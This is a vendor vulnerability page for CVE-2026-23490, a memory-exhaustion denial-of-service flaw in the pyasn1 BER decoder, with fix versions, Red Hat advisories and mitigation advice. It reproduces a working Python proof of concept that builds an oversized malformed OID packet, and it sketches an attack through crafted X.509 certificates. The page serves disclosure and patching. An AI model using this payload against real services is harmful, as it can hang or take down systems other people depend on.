Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-23490 pyasn1

HIGHFix: pyasn1/pyasn1@3908f14

CVE-2026-23490 is a high-severity (CVSS 7.5) CWE-770 vulnerability in pyasn1. A fix is available for pyasn1 — see the affected versions and patch details below.

pyasn1 has a DoS vulnerability in decoder

Also known asGHSA-63vm-454h-vhhqPYSEC-2026-1810
Published
Jan 16, 2026
Updated
Sep 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23490.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs54th percentile — riskier than 54% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-23490 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍pyasn1

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS:

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")

Screenshots with the results:

DoS

<img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />

Leak analysis

A potential heap leak was investigated but came back clean:

[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin

[*] First 64 bytes (hex):
  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[*] First 64 bytes (ASCII/hex dump):
  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.

[*] Digit distribution analysis:
  '0':  10.1%
  '1':   9.9%
  '2':  10.0%
  '3':   9.9%
  '4':   9.9%
  '5':  10.0%
  '6':  10.0%
  '7':  10.0%
  '8':   9.9%
  '9':  10.1%

Scenario

  1. An attacker creates a malicious X.509 certificate.
  2. The application validates certificates.
  3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

Impact

This issue can affect resource consumption and hang systems or stop services. This may affect:

  • LDAP servers
  • TLS/SSL endpoints
  • OCSP responders
  • etc.

Recommendation

Add a limit to the allowed bytes in the decoder.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyasn10.6.1&&< 0.6.20.6.2pip install --upgrade 'pyasn1==0.6.2'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyasn1, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pyasn1 to 0.6.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23490 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-23490 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-23490. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.5 for RHEL 8python3.12-pyasn1-0:0.6.3-1.el8apRHSA-2026:13512
Red Hat Ansible Automation Platform 2.5 for RHEL 8automation-controller-0:4.6.26-1.el8apRHSA-2026:3959
Red Hat Ansible Automation Platform 2.6 for RHEL 9python3.12-pyasn1-0:0.6.3-1.el9apRHSA-2026:13508
Red Hat Ansible Automation Platform 2.6 for RHEL 9automation-controller-0:4.7.9-1.el9apRHSA-2026:3958
Red Hat Enterprise Linux 10fence-agents-0:4.16.0-13.el10_1.2RHSA-2026:1905
Red Hat Enterprise Linux 10python-pyasn1-0:0.6.2-1.el10_1RHSA-2026:3354
Red Hat Enterprise Linux 10.0 Extended Update Supportfence-agents-0:4.16.0-5.el10_0.8RHSA-2026:2309
Red Hat Enterprise Linux 10.0 Extended Update Supportpython-pyasn1-0:0.6.2-1.el10_0.1RHSA-2026:4138

Frequently Asked Questions

### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*102
O3 Security · Impact-Aware SCA

Is CVE-2026-23490 in your dependencies?

O3 Security finds CVE-2026-23490 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-23490: pyasn1 DoS (High 7.5) | O3 Security